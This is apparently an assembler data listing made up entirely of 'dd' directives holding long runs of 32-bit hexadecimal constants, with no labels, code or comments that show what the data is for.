		dd 0B8909860h, 27D322h,	0AE84F1C8h, 5C321F10h, 390D7500h
		dd 0CE1A1587h, 38E97E01h, 0A800A49Ah, 0D520BB3Dh, 62EDF591h
		dd 0C41E380Ch, 98703216h, 60C1F859h, 2C1CD0Dh, 0C07D2529h
		dd 71E60F36h, 56CA5C07h, 4010045Dh, 0B025D3AEh,	699A09FAh
		dd 80209B85h, 0C2DFA8AFh, 6AF80150h, 419AA706h,	2420D30Ah
		dd 40E45532h, 0FB657234h, 0A0F42726h, 9E4571C1h, 8B22C4h
		dd 0C31E320Fh, 41A072D0h, 69D54230h, 0FE9FE6C6h, 68275050h
		dd 387F5661h, 33055121h, 896C0Bh, 0A07ED3D0h, 3AC424DAh
		dd 180294AEh, 721BD6A7h, 15070CE4h, 8BFF3248h, 23A5A2D0h
		dd 615FEAC6h, 911848E1h, 4751809Bh, 760BCD90h, 67280069h
		dd 21578DE6h, 84AA1B79h, 8B050C1h, 0D1E902B3h, 8EEEC594h
		dd 87A0DA40h, 2492181Ah, 2FA406B1h, 0CCBA0389h,	0D4B10C07h
		dd 0CEAEF1A0h, 73427F9h, 6912DD82h, 0C63F2CD0h,	0D04B0081h
		dd 71D472BAh, 813A4BBh,	180C7EB1h, 0AE5934h, 0E5392426h
		dd 2C724F74h, 220C7158h, 0F8030035h, 0A9041A50h, 84003A30h
		dd 0A5FFB9F3h, 307B78A7h, 38899A91h, 0D4009989h, 0BD276383h
		dd 0B1D23E02h, 188000D8h, 10C84A88h, 0BB9C60FBh, 0FBF77920h
		dd 83AE4710h, 0D2870500h, 0FEC74D88h, 0D601019Eh, 0E69034CAh
		dd 7CD9D037h, 2E009F90h, 47FDC40Ch, 93EE36h, 18ADD2E1h
		dd 23DB5217h, 5422D91Ch, 65557540h, 3E30C44Ah, 0FCA418FFh
		dd 0A8A50084h, 50DD0AB4h, 47F1BD00h, 0D5FD263Ah, 85BA3E72h
		dd 9A381688h, 0E4039797h, 9C218CAh, 0F2C0B5F1h,	754680A0h
		dd 0E01D3E34h, 48265E43h, 0A400BE17h, 7116FF4Dh, 85BC000Eh
		dd 22661BDBh, 75004FE4h, 0FD435A24h, 1A676h, 0F85496C6h
		dd 0E583A80Dh, 0ECA3441Ch, 1A361B00h, 5B39823h,	0A874E47Fh
		dd 97E02066h, 6000DE47h, 0BC739DE3h, 30B749Fh, 58C86309h
		dd 0A8F81DF6h, 2605D7B3h, 2B516235h, 2E2DE082h,	31B2202h
		dd 472050C0h, 9A0A3F00h, 26A261E2h, 48410029h, 0BB1CC774h
		dd 271F2CDh, 0F12CEA00h, 7EA87B1Fh, 0CCBF0047h,	0ECE3BCACh
		dd 0C02A0982h, 0E8008CF5h, 0C373524Ch, 11129A1h, 6DF04DBDh
		dd 0E82644B0h, 67021884h, 0B3DD7231h, 2904610Bh, 2432DC60h
		dd 950C0754h, 640A5830h, 793B0FDh, 40577417h, 0DBFE8241h
		dd 0AC07709h, 65CC23F9h, 20D28945h, 0B0E8B825h,	785E4CC1h
		dd 4FFEA000h, 2C3A52B5h, 0E131E00h, 848FFF5h, 7C400A7h
		dd 2FD4753Dh, 0C0E8665Ch, 18D1CA60h, 411BFh, 86E1D96Bh
		dd 0F884BD38h, 0C8FB301h, 0BF9A49A0h, 0A95034h,	2F873A41h
		dd 0D66AF078h, 92024578h, 52365B3Dh, 556CE8A8h,	2616881Ch
		dd 46883374h, 0BB438828h, 26D319C6h, 5E1F1F21h,	99768002h
		dd 0F83DDC3Ah, 2051D608h, 0C8B01ACAh, 15CED861h, 80F05808h
		dd 12F51192h, 8D009509h, 61E6DF4Ch, 51A68EEDh, 44009C8Ah
		dd 1E45689h, 85587B2Dh,	0DC5E29D6h, 7A0031C0h, 0C90F49A7h
		dd 0B62A24Bh, 106BBA5Ch, 88193C8Bh, 492C6020h, 0A1A34240h
		dd 4B101DECh, 48000C61h, 20AF3C22h, 7E90B45h, 0A2CB3EDFh
		dd 55800FA6h, 190550D1h, 330C9350h, 74DFB81Fh, 47D43A14h
		dd 0FA700070h, 0F1D7867Eh, 63F2004Dh, 5EC26E34h, 0FC3A3D61h
		dd 0C3A8811Dh, 2BC903E2h, 0CF800438h, 1994885Ah, 5334F70Fh
		dd 20A835E0h, 89C7E864h, 80C0742Dh, 7E89F5Ch, 0FC26E6AEh
		dd 1619479Eh, 1062D7F0h, 0C39A7AC6h, 576E3899h,	69A0A6E8h
		dd 3519670Eh, 0E842638Eh, 4FC7C0D1h, 0F0CE13BCh, 227400C1h
		dd 0D2411558h, 700F891h, 9F19924Ch, 0EA331A57h,	9099087Ah
		dd 0B0B02E9Bh, 0CF7242h, 0F351CC81h, 1B45E0D4h,	293C2630h
		dd 144A0E03h, 0BCEE963Bh, 9D20B102h, 30C3A767h,	0C0AC36E5h
		dd 4BF1C944h, 11E053A7h, 0A100E49Dh, 7DE0DDE5h,	9900A9B7h
		dd 500268ABh, 0A0733CBEh, 45364824h, 583833A7h,	5DC4361h
		dd 0DB8E3A68h, 825B8DC0h, 1E9900EBh, 95538CA8h,	45507F1Bh
		dd 75CE560h, 8F59C08Ch,	39EB7258h, 3580E8F6h, 0F94D674Fh
		dd 0A13AB1D6h, 0C8C803h, 286906Fh, 989AAF04h, 0D0A74C25h
		dd 1989B85Ch, 4FF37881h, 0C0C4E2C8h, 9488AE2Ch,	0A571350Fh
		dd 7C88B1F0h, 0ADA803B5h, 0E53430E0h, 0F44079E2h, 96B8E894h
		dd 3B47F900h, 0BADD98A5h, 31837812h, 3A11A3E3h,	0C514417Ch
		dd 38B449ABh, 6FE08020h, 0E0739938h, 79851C17h,	95F4334h
		dd 0AEE0F0C8h, 44FE247Ch, 0F4C07119h, 0CCEC2141h, 13F10217h
		dd 1140D945h, 502323E8h, 91C76C26h, 93A0700h, 0B404B426h
		dd 942A05BCh, 876C8CA4h, 97EE0F2Ch, 9A0CBB01h, 50C69961h
		dd 199E4498h, 0FC92703h, 4C64F6C0h, 57014C39h, 3E8A8EBh
		dd 9941E4ECh, 0B73E772Eh, 0D434E403h, 0C1D1F86Fh, 20DE3008h
		dd 77CB0F18h, 0D59DF500h, 7538C7FCh, 3B4BE099h,	7B0B743Ah
		dd 94065C31h, 600069B9h, 60AFAD1h, 76E358F9h, 8080FFA1h
		dd 0ADFDD522h, 14493002h, 4DF90054h, 0CD509F1Ch, 0BEDE00E1h
		dd 9CBFB99Ah, 0F20089E3h, 0B64A2576h, 0BB1726h,	3A29F3F8h
		dd 0EFEB1878h, 1F277438h, 0DD80640Ch, 7A34B868h, 78D05891h
		dd 3F84F1C0h, 0C53C1620h, 6C519EA7h, 0EFA587BEh, 8310ACA8h
		dd 1EDB5BAh, 0F05A23D8h, 9326B0B4h, 0D8D02FB0h,	5D350Eh
		dd 8D3C5C1Dh, 4FEEA0D4h, 74DB5005h, 1482B520h, 5C442929h
		dd 0E4895101h, 6DB94E6Ah, 47F55F0h, 0EEC603E5h,	21FCA666h
		dd 51438075h, 4C713FA8h, 0D3917619h, 0C9F05451h, 1731788Ch
		dd 63FF5017h, 2996903Ch, 0D2038600h, 0ACBF1224h, 0B4770B9Eh
		dd 85F7A6F2h, 84810204h, 0F0287A74h, 0C2291A80h, 803E752Ah
		dd 0E23D023Ah, 44BD8632h, 0E3AF0E60h, 0E7004207h, 2D881D4h
		dd 0DEA2A800h, 0C77C502Fh, 9D9300B0h, 0A5C5FD14h, 509C23F3h
		dd 0A5129E0h, 63E461h, 0BD47A45Ah, 28DF4BABh, 4CDA3B00h
		dd 4FA7C1D8h, 990401D9h, 18F0492Fh, 3441A8C5h, 30D311F1h
		dd 0D275F980h, 0A4213CB3h, 2AAA83Fh, 1899A003h,	10DC5194h
		dd 90BCC8D1h, 0B91915C4h, 11F42130h, 0A2580234h, 60AA8108h
		dd 0B04E11ACh, 0A6AC0F9Ch, 40027943h, 7880C0D3h, 96F71D64h
		dd 73AF6F01h, 5FE09538h, 0CF445F60h, 0E8CF138h,	30592D71h
		dd 0A04D239Ch, 0E98000D0h, 6CFBA812h, 28C8A048h, 0B7C3E349h
		dd 366F7900h, 0ACE55725h, 24800A8h, 1CE39633h, 0EC31040Bh
		dd 937329A5h, 90AE28E4h, 1A2F1C04h, 0AF55C921h,	0A0A1D009h
		dd 45890h, 315978A8h, 4D814532h, 6C8D043Ch, 0F8338D4h
		dd 8081DA1Bh, 81243625h, 2CAF0ECCh, 0DD8862E0h,	0FAEC6BA4h
		dd 0C6902340h, 71EAC900h, 3AE712A0h, 4BD90188h,	29147810h
		dd 2CE5F2BCh, 0BDA7C684h
		dd 80A6A045h, 32B10A90h, 917CA525h, 450292A4h, 62D210C1h
		dd 0EBD6014Ch, 13F34474h, 5D04C8FFh, 146103E3h,	0A8F5D284h
		dd 0CCE400CFh, 0DC0E1806h, 2F20785Bh, 0E61918DBh, 0AD533131h
		dd 80E8F411h, 0F20FAF19h, 1CD7A58h, 51A3875Fh, 0E484823Ah
		dd 32186A65h, 0A6A66863h, 6DA03FBh, 0FA875031h,	4BF04003h
		dd 0F739F79Eh, 0C07B44D3h, 704518h, 903E0958h, 5BF6F407h
		dd 6544CA54h, 305EF20h,	48F01FDDh, 2150F5F8h, 0C500FE0Bh
		dd 52A51BE5h, 9DF4D5h, 3A5DD689h, 16BE84CEh, 6004A900h
		dd 363D0745h, 0D981F1FFh, 6793A498h, 385EEC09h,	0AF525500h
		dd 751B24B5h, 6E8A3932h, 1C5A490Ah, 85641D24h, 205C76Fh
		dd 6DDAA50h, 0A1038122h, 8FCFADACh, 3C8D86C4h, 0E7B7F2BCh
		dd 0BEFF0318h, 298C3100h, 590BCE9Bh, 0C91E00B8h, 583B6299h
		dd 0FA00B03Ah, 0CF63105Dh, 0FDB8443h, 1C04D057h, 0EAA9CD01h
		dd 4872D322h, 6CF1BA00h, 0FB61D8F3h, 75B3A093h,	0DB3E3D38h
		dd 99598401h, 50EEA131h, 0D64CC4A4h, 0FA3B0114h, 0C7DE00C4h
		dd 0D80F93F4h, 0DC8D3BAFh, 0DDD23C03h, 0D1400B4Dh, 0B70742A0h
		dd 0D804FD83h, 9144DF40h, 6EFAA4h, 35479B57h, 6FD52BD0h
		dd 83088F50h, 0DC14D750h, 28068129h, 34620707h,	6924F540h
		dd 2A057C1Bh, 90C3FFh, 7907F036h, 248EE82Dh, 0EBA660Eh
		dd 1978A0EDh, 0FEF56A4Eh, 92C9E630h, 44803C08h,	0F4039080h
		dd 0B0ADD960h, 8B4D4607h, 4BC12D08h, 3670E8BEh,	0D5FF3006h
		dd 188E4C69h, 0C44DE90Eh, 0E8CCCA54h, 20078242h, 0D9904760h
		dd 0F6A7530Ch, 9771CDh,	0B62B8E22h, 27F37AC9h, 41E5DB30h
		dd 24ADFE7h, 0A2C3A102h, 0B0449283h, 0C889C703h, 7FF6FF6h
		dd 4660E649h, 0A11ACF8h, 75BA1000h, 4EE763A9h, 2D1A00E5h
		dd 466BB4DDh, 2601B6Ah,	91BA0399h, 0F98431F7h, 9CC0FF79h
		dd 0A4804369h, 9CD0881Ch, 2D040276h, 0CCF6614Ah, 0A1F02820h
		dd 91120062h, 7D1E677Eh, 4A06516Fh, 0CEF66507h,	73921F29h
		dd 8A5406D2h, 0ECA1A6A9h, 6C6980D6h, 0DD915D33h, 1C4AE070h
		dd 29C38990h, 762A00E4h, 951D1634h, 98B08601h, 8A9A5548h
		dd 1C1B70h, 0E401285Ch,	667250CDh, 0EE1EA34Bh, 0D2AD9080h
		dd 48C783B8h, 710267D1h, 356187B9h, 0A90080ABh,	0EF8827CFh
		dd 9930A400h, 3CF5FCDCh, 1FA300B8h, 4F9D0AE4h, 0C500F33Fh
		dd 0B91A88BEh, 130E173Eh, 10307C5Ch, 0C126A07Ch, 571D8634h
		dd 6130F9F2h, 0C7766931h, 0C9DA0062h, 69D564EEh, 0F52E958Eh
		dd 0FA182A28h, 12074B31h, 20C66FF0h, 0D469311Ch, 85082891h
		dd 0FE1C8602h, 210019C1h, 653C580Fh, 0BC6E3Dh, 2079DD9Ch
		dd 0F287F60Dh, 9848ECAAh, 0D1048FE0h, 90333F64h, 0B6CD30C1h
		dd 8E2C021Dh, 31141860h, 0C4216200h, 384C0B3Ah,	1F1D0732h
		dd 0B079AC10h, 0DADB0CBh, 49E7E91Fh, 0EB846029h, 0E207CD1Dh
		dd 0FE969057h, 0F11B3D9h, 3100DD01h, 7F444B26h,	5D00F68Ah
		dd 9BD2627Bh, 0FC6EB1E1h, 0A4A690h, 99E7DC6Fh, 0C2A92854h
		dd 0B7D72500h, 6CEF60D1h, 292F6061h, 0FC52AF43h, 0BEA96D3Ah
		dd 3A2180FEh, 166695Eh,	48BE007Ah, 8AA3E26Ah, 5D7C2C98h
		dd 4E91E005h, 0AE8144A7h, 0DB50E52Eh, 7F24966Eh, 34570048h
		dd 4F49702Fh, 0F100FE3Bh, 129CCE5Dh, 4C2D188h, 40A88BA1h
		dd 3148CD05h, 25A2ED50h, 2EF4137Ch, 25B119F8h, 0BFD10902h
		dd 0A0F8EBD9h, 2AC883C0h, 68AA00C4h, 0B44CE06Fh, 5A00A56Eh
		dd 44611BD3h, 528BF624h, 0F52CECFBh, 469440B0h,	2F7263BAh
		dd 0D5838B00h, 4CADA1C5h, 0C671070Ah, 7A0663Bh,	6295F0D8h
		dd 0D2263406h, 8A4024F7h, 1DB411C0h, 4058F0B5h,	0D90A8533h
		dd 0A6982F81h, 29F96Fh,	5167DB71h, 0E2FD013Eh, 5BF41156h
		dd 0E660646Ch, 0DF016671h, 0E1D1E75h, 0B5E4625Eh, 0ACDE12BDh
		dd 6F4C0913h, 74D89820h, 0E7615DA2h, 6F03758h, 12423447h
		dd 0F03CC4DCh, 0F0EB5530h, 435BBC0h, 7F0D5850h,	338881Ch
		dd 841E22Ch, 39616710h,	10F7EBE6h, 31B154h, 0B5974CC6h
		dd 0F2486ACFh, 3CD0F61Ch, 0BED3CB80h, 0C2E8B1F7h, 0D9673431h
		dd 348498B2h, 0C93C400Ah, 7E852332h, 52ED12A0h,	0A7580402h
		dd 607C804Ah, 367591Ch,	842B4B89h, 58D0C540h, 99FE70D9h
		dd 0F1774h, 14077EE3h, 0BA00D7A3h, 0ACC47011h, 3C8D313Eh
		dd 6601D818h, 3C01A2DBh, 0FAADE037h, 6F0E7099h,	0EB1918ABh
		dd 12C1C0E3h, 1ACF44DBh, 8604790h, 522FA8B9h, 2EA73E86h
		dd 21879213h, 87DCFF04h, 0C4511591h, 862F1400h,	24000A2h
		dd 1E19FA04h, 0C1F6E6AAh, 703844F0h, 0F24383C0h, 795313Dh
		dd 0AE3907A8h, 1D3F80DAh, 6233BD32h, 0F5E511ACh, 80028C48h
		dd 8FF3E686h, 0F52CC3B9h, 8A401CF7h, 69C6BBDh, 1518CD54h
		dd 0ED0160D9h, 8FB6C1F5h, 5C449E81h, 0E900BC8Fh, 0E2028BFFh
		dd 3E00C3D2h, 4A46694Dh, 82B25B19h, 85F73C81h, 634825AFh
		dd 0C9430720h, 54905602h, 713894Bh, 6BD2285Ah, 0D11E74F7h
		dd 29701D6Ch, 63E61288h, 0DC1B7401h, 0CB01309Ah, 15CF01EEh
		dd 11FC1C8h, 0ED19D44Fh, 6055A06Fh, 100DCA1h, 4EF2FE5h
		dd 0C007A567h, 5978CD50h, 6914DD06h, 80CC01A3h,	7D451641h
		dd 0C13F0061h, 680E79D0h, 203FCA6h, 66C5C419h, 0CE102E70h
		dd 124F00B4h, 5BEFE7B8h, 6D1244B8h, 9C806133h, 918FE5E6h
		dd 44F98768h, 68F1633Bh, 4678D9B8h, 0D680C805h,	0B444DB7Ch
		dd 724F75Eh, 2F0FB51Ch,	33BFBAE0h, 0A10B0B9Ah, 702C852h
		dd 29AC6190h, 0A0DE0FF1h, 84A0F928h, 24312759h,	0D174700h
		dd 4001FF44h, 5EE7A70h,	986F8C23h, 7B80CAABh, 4336B91Ch
		dd 0A831DE84h, 14CB10C8h, 0CC2A25E1h, 0B9008B3Ah, 19A0C281h
		dd 67046030h, 50C1AA1Dh, 84FAB8C7h, 108AF70Bh, 4ADE4450h
		dd 0DAC0404Ch, 6835E74Bh, 5C6D463Bh, 670502B8h,	66423962h
		dd 1FEB30F0h, 0B1BB7D41h, 0A29D5500h, 4E8638B9h, 0D874CEAh
		dd 9449C40h, 0EBAD2FC5h, 0E7E37400h, 870002C4h,	6F6893Dh
		dd 1D569FCFh, 9EA552h, 49FAA163h, 240048EDh, 0ACA483D9h
		dd 1A159439h, 0A9044DDEh, 0D7F08880h, 0F892F5EBh, 0A39E4300h
		dd 5DC50FD4h, 2754007Eh, 83124D24h, 4B0025EFh, 2C219AC6h
		dd 6442A4h, 0C8F997CBh,	0ACE698E4h, 5FDA5E07h, 61E4EC5Ch
		dd 4EB8A4h, 7E2F1BAFh, 3CA69BA1h, 314B98A0h, 0A448E889h
		dd 497DFDh, 0D7DA3313h,	7A6D2F32h, 0A21C200h, 904663CDh
		dd 0E98730F7h, 60CBCFB1h, 0D1E84F32h, 5345969h,	222B8CF6h
		dd 38E07BD0h, 0E0006BA8h, 0D852F5DAh, 0B0496368h, 149F4818h
		dd 0D7FE6008h, 59429D80h, 75FD5BA4h, 6AF7FC25h,	3FDCB183h
		dd 0D913F922h, 58800568h, 99A2AB9Fh, 0DA7B80A0h, 0F025BFE7h
		dd 5CCB8838h, 0C6E18090h, 2D097Dh, 1525D1BAh, 42179848h
		dd 0F1B67401h, 0AB3104A8h, 84DD4840h, 6081C305h, 2018B246h
		dd 6C89C550h, 212E6062h, 14FF97E7h, 3527200h, 0D9EB4837h
		dd 455D01BFh, 309DBB07h, 1FC62F8h, 914F0C69h, 0F840771Bh
		dd 0A568ADh, 853CA0F8h,	3476D815h, 80880E58h, 0F0440181h
		dd 14617247h, 78EAC242h, 63410174h, 0D7E57F57h,	0A2D8EC73h
		dd 4DA8AD48h, 3CF72834h, 4FB8CE0Fh, 88978073h, 47B57Fh
		dd 87263478h, 0AF9B6AC2h, 1CAD4526h, 13825C88h,	328C12CDh
		dd 39306FA0h, 26AC0075h, 733C8CC5h, 0CB003B8Eh,	5970300Fh
		dd 77660ABh, 4EA983CFh
		dd 2E04BFF3h, 0F6CE8058h, 0E00C7856h, 30CA88C8h, 0EFF00ACh
		dd 0B68BA3F3h, 489C6166h, 0E7324580h, 483CDC57h, 0FE15B8A1h
		dd 6500D4BFh, 11A3D727h, 3002D18h, 9DF1678Fh, 104FAFBh
		dd 51143375h, 0C04C4446h, 20F7AB6Ah, 0CF88DB3Ch, 61FEACh
		dd 72F97836h, 473B6912h, 6358CE02h, 20F4F802h, 1ED23E9Dh
		dd 98168900h, 7AF10927h, 62853BBBh, 0C0A7E102h,	40E2AC02h
		dd 70EC2C41h, 605C440h,	7966F357h, 452C817h, 0B1F4E803h
		dd 0A06381C8h, 0A758820h, 0C477F89Eh, 18690214h, 1CE08905h
		dd 663F603Ah, 0D4E91EDEh, 5EDBE080h, 0A72D969h,	0C578119Eh
		dd 0F9670A1Ch, 0C14F45D4h, 938190D4h, 897F788h,	0B16A5A60h
		dd 0DC9C0736h, 8B24FDh,	599E4BDDh, 64FF171h, 0FE806027h
		dd 0AFE03Dh, 633A58D6h,	32F01A5Bh, 401C2AEAh, 82C24B8h
		dd 0C841961Dh, 0A060C5AAh, 0CF49040Bh, 0A8F01BF4h, 0E7F788ADh
		dd 0D88A99C0h, 5AC4291Dh, 0EF4A8FDh, 55D99Bh, 0BC18C592h
		dd 0B065528Ch, 2D78DD09h, 331CD411h, 0E14B0E14h, 30491E48h
		dd 6CCC6850h, 0D7C13AF7h, 0E863D901h, 6421205Bh, 0EB880C7Ch
		dd 0A9A1004Fh, 0C7B36A86h, 0CE50AE17h, 70047FCh, 0D1B92095h
		dd 7E48C480h, 83689470h, 34B8D28Bh, 0E06D9200h,	3E27ECC1h
		dd 0F8462E5Eh, 0E8894078h, 580E8D01h, 6028104Fh, 1A6D19B6h
		dd 4D0E2463h, 24440503h, 16D88860h, 95DB1C00h, 0C8E9617Ch
		dd 0FA9128Bh, 98B08803h, 33C3F100h, 4E85D8CAh, 4A90743h
		dd 8BDE471Ch, 0D6BE0C10h, 4262C005h, 6098A046h,	0EA8B335h
		dd 0B1621C5Eh, 38E1CA62h, 0D48E1009h, 0D6F30069h, 633B645Ch
		dd 0C5000836h, 0A1B22A05h, 0F030C8h, 0F190068Dh, 0CDCE3DCBh
		dd 3A249500h, 0FF07C55Ah, 8FC4A8C2h, 83110008h,	60396AFCh
		dd 0FA00DD0Fh, 85EB95D7h, 0A0CC4E8Dh, 3AF6EFF0h, 525E584h
		dd 9147A0B0h, 6CCA2C2Ch, 85A2E500h, 116A434h, 64A68F46h
		dd 52E684F7h, 0C0982C90h, 0FB00FC0Fh, 910E2D66h, 38D69294h
		dd 0F57821h, 0B60373B3h, 4E4DB249h, 0FCA92B26h,	0C7131B91h
		dd 0B894089Ah, 9C1E598Ah, 9432618Ah, 0E801C180h, 5DAD4A2h
		dd 8A20812Dh, 0CED380BAh, 9502521Ah, 264DB1D5h,	2B308441h
		dd 0A4616C44h, 0D20026FCh, 95B28BAh, 0A08BF769h, 5444768h
		dd 0D0D3597Ch, 0A4A304h, 3E02D26Eh, 0BEA1D1h, 35A7B8BDh
		dd 605D07A6h, 0D7E1C200h, 78C4E001h, 51D2600Fh,	61A2DB9Fh
		dd 0F445A090h, 0A000472h, 82D64A25h, 4C3B18F5h,	0BECE8057h
		dd 2A330159h, 3265128Bh, 30B8D2F9h, 9854432Eh, 3E8BC06Fh
		dd 0A32F0184h, 9A9E074Ch, 80702C16h, 5F674E13h,	0ADB504AEh
		dd 0D129EBD9h, 81D4FF0Ch, 67E043D9h, 75F02EAFh,	8042538Fh
		dd 0E9E41705h, 2FC0205Fh, 0EC02D691h, 3F6E46F9h, 141240C8h
		dd 924F00C5h, 326906A2h, 84BC2E18h, 7D29C020h, 0F42CF0FAh
		dd 8AF0B714h, 0F789889Ch, 0E1204B8Ah, 1984F84Dh, 401BEA5Eh
		dd 54906676h, 59C91DFBh, 20F94126h, 843C10D0h, 0F1EF4558h
		dd 0B4420714h, 0B4002F22h, 2107E510h, 92585B2h,	92E7F290h
		dd 0FE61F40Ch, 1700C899h, 40289843h, 0E1476EDh,	5E1D60D7h
		dd 8BD10980h, 5C09AF94h, 0A1FA5652h, 0E78E8594h, 3424108h
		dd 0F5A11B04h, 0C6BC84D7h, 0F0C43079h, 70211784h, 72E610FFh
		dd 4060B630h, 0E97BDA9Ah, 94DBFC00h, 201AF244h,	5B67E1Eh
		dd 0EA1C5A48h, 244F1E5h, 0E620EBA8h, 7C7B58Ah, 0D465AFD8h
		dd 2024F92Dh, 0C33402Eh, 0EECB9Dh, 0EFD5019h, 258E5A70h
		dd 0B2013275h, 61900137h, 0A881CC99h, 805C1816h, 10F4693Ch
		dd 0F408F581h, 519FF843h, 24D78D02h, 8730683Ch,	0CFE9C129h
		dd 0CA3F85B1h, 53312C40h, 4F0C8B49h, 15375830h,	33B0157h
		dd 0AABD4768h, 17C97077h, 841F34B8h, 0FA432AE7h, 2F97FE1Ch
		dd 64AEF779h, 90ABAC80h, 2D00479Ch, 1E3DC18h, 0F035BD22h
		dd 630701A0h, 0EAC34245h, 17998F1Ch, 0BBE9C094h, 10126Bh
		dd 98A721FDh, 0BE838EBCh, 58DCA024h, 0B064822Dh, 68C00DF6h
		dd 0C2C780DCh, 2E0520Ah, 9B904660h, 0CF83E87h, 4BA448A3h
		dd 62B00755h, 29C70358h, 8901E6D8h, 6031163Eh, 40F21567h
		dd 2841DA76h, 439CDB63h, 79A03153h, 846D4ADDh, 5AA81802h
		dd 0D0801D44h, 8FD8ADE6h, 0A0BD3300h, 6050CB7Ah, 88AB006Eh
		dd 396C245h, 6C9691ADh,	32E51E40h, 1AF10907h, 3C50ED5Ch
		dd 587F718h, 1241D8A1h,	82F09284h, 4C1966E8h, 322DC518h
		dd 0E71C21BDh, 22A39EDh, 464C911Ch, 5157C141h, 12FA8268h
		dd 0A743886h, 5F85F780h, 89FC70EFh, 300FD96h, 805D232h
		dd 0ABE0ADh, 6BB826Dh, 724F872Bh, 0A4408E4Bh, 0CE7AB6EFh
		dd 0C499F7h, 0E512FB8Ah, 1C0127B8h, 97AE7992h, 67D8CB6Bh
		dd 26C47ACAh, 14302D6Eh, 95C8E80Eh, 0E989F787h,	0EE61904Ah
		dd 9F02A93Ch, 28F03C83h, 76B161F8h, 1CD48F00h, 0A67D72ECh
		dd 2F5701DAh, 0E739349Eh, 45002015h, 0B2AB3300h, 3A89519Bh
		dd 288E487Eh, 0F3911A21h, 26225120h, 0A6BFE6CAh, 3BFD12BCh
		dd 39DC0A18h, 0E46165E8h, 0CD425AD0h, 80000822h, 0AAB1E59Fh
		dd 0F4B8722h, 0F2D3B986h, 6E3031B7h, 0A9E30B7h,	4D7F1000h
		dd 23D617CDh, 738929BFh, 0E4FE45B8h, 4D006570h,	6A8FB2D6h
		dd 2BC22A5h, 0A757ABDAh, 0DCC08AF8h, 0C914785h,	6C007791h
		dd 5AA06255h, 232D50C4h, 726498DBh, 544C0012h, 0BDA5F243h
		dd 0AA00D882h, 7C367E23h, 82DBB06Eh, 8000F066h,	3457E911h
		dd 0C8C395h, 0F8CA79D4h, 66634977h, 11F2F61Ch, 0F19F023Ah
		dd 514DDE30h, 805C9084h, 6D48E980h, 0D2AE30F7h,	78083261h
		dd 4CF6F10Ch, 55F729CFh, 80424083h, 0A0FA1A4Bh,	864AC709h
		dd 12745889h, 0A2117FCCh, 67DD1050h, 0C0F4944Ch, 3C208348h
		dd 0EB114289h, 16318021h, 646715A9h, 0FDD600F1h, 754DCEDEh
		dd 0E2DF73Dh, 48978BBh,	0A45AA11Dh, 0B1BC9105h,	0A4410E4h
		dd 125C9E4Ch, 78F02933h, 0E0CE8E70h, 0EFBF7EEEh, 11050962h
		dd 4019355Ch, 88783829h, 0F4184201h, 0AD824479h, 42F1BE65h
		dd 184D16Ch, 1D738C52h,	3262CCFEh, 0F90480A4h, 81DE3A11h
		dd 3C616489h, 5D8C04Ch,	0F5E1A066h, 73C47285h, 88FA9018h
		dd 305DBE82h, 380A5F28h, 0C849A86Eh, 9DA7C10h, 0CF20321Ah
		dd 0BF459402h, 8C40C324h, 90180D74h, 0E4282924h, 0D13F7102h
		dd 790671Ah, 0BAEAEB67h, 0F33140D8h, 83735337h,	28768071h
		dd 0BC3ECE00h, 0B97790CCh, 634348C8h, 0F03C6E12h, 0DCAAB818h
		dd 6011185Ch, 7890CB25h, 5603A18Ah, 83B944F7h, 0F8C1FCACh
		dd 3608A9BDh, 0FE10418Ah, 0BE883508h, 1EF838A1h, 8DE5798Fh
		dd 16E75720h, 0E43FF0E8h, 407D850Eh, 4CD51A84h,	915A980Eh
		dd 0C9830572h, 2D634594h, 802428E0h, 99C7C89Bh,	8FBA00ACh
		dd 0FCF1F9BCh, 0B2FC8CEEh, 8BB3AD01h, 36E83253h, 1AA7853h
		dd 0BE81F051h, 62F688B8h, 0FC082ADCh, 0AC4010B4h, 713D014h
		dd 5F466DB5h, 6A0860E9h, 3102ED36h, 0B95C1BAAh,	25C45A9h
		dd 2844203h, 6552605Ah,	4BDD12F8h, 9742E8D6h, 129CB822h
		dd 0A503E446h, 50305167h, 0F73918A7h, 0A99EF9F1h, 21D5C007h
		dd 7F107C8Ah, 5831F42h,	9017152Eh, 0F0FC52Fh, 8870F35Ch
		dd 0DA6C8FB5h, 3CA80Ah,	98B8117Ah, 0AD12E08Eh, 54048FB1h
		dd 0C148CF95h, 0F356B780h, 0F172147h, 0BB02F74h, 21083626h
		dd 84A0CD26h, 0A9C0AF20h
		dd 0FFCAACEEh, 4DD07216h, 1B1040B8h, 444C886Fh,	0DED34022h
		dd 0DBC630h, 0F9A97FFFh, 94255D92h, 0E7B81702h,	433F63DCh
		dd 28A5E2FCh, 4E830038h, 7A056D73h, 3309B900h, 0A67E60DAh
		dd 11660049h, 4BD979E6h, 0E700E5B8h, 0F94546Fh,	744A3CE1h
		dd 0AE1F0066h, 0F9A00478h, 990BF12Fh, 113AE287h, 0D07689A8h
		dd 6C40DE3Eh, 0EC4F625Bh, 0E0FF4FC1h, 4083D4FDh, 0FCDF7A1Ah
		dd 0DCCB00B4h, 703AF3C7h, 970255AAh, 3963D591h,	2EA09B07h
		dd 1524C578h, 0F223CAEh, 69E8E637h, 79C57800h, 407A00EDh
		dd 7477BA9h, 0B8F42BE6h, 0C0613326h, 9120E420h,	551D2DD6h
		dd 95181C90h, 77D8C90Bh, 56C4189Ah, 0F847275Eh,	48180868h
		dd 45E7F000h, 0F3F6DF7Fh, 0FD64013Ch, 5C1063A6h, 227C23C1h
		dd 806C910Dh, 7C45DC39h, 71011F01h, 0BA8297F9h,	99909B65h
		dd 704400DBh, 0CDF79A4Ah, 60D090F4h, 4B7A41D8h,	0C4B048F0h
		dd 2AE2908Bh, 608570C2h, 49141E53h, 184019C7h, 658483EFh
		dd 81C421CEh, 7DC2AD98h, 0DE284CC8h, 0B87ADCC0h, 268E5CDDh
		dd 60B8DB29h, 0CE60301Dh, 14838F26h, 0D220A050h, 0A858B090h
		dd 8F27127Ah, 9D802062h, 773ED6B8h, 9272000Eh, 0E2C29459h
		dd 4304A961h, 0DE46FCFBh, 638C60ECh, 22E57BC1h,	78DD84D8h
		dd 701078A6h, 76227532h, 57D0A09Ah, 431C275Eh, 0C8610C25h
		dd 0F5128848h, 0A00489Eh, 0A2878632h, 44804BDCh, 0EC6731A8h
		dd 407888ACh, 6EE3523Dh, 5711D891h, 40881731h, 5C820537h
		dd 0E1885EF6h, 0F0A49E3Dh, 4F002C70h, 0FDB12272h, 0B05CE2Bh
		dd 0A6B3A124h, 6C064C66h, 955FC1E0h, 0AA7A1808h, 209380D9h
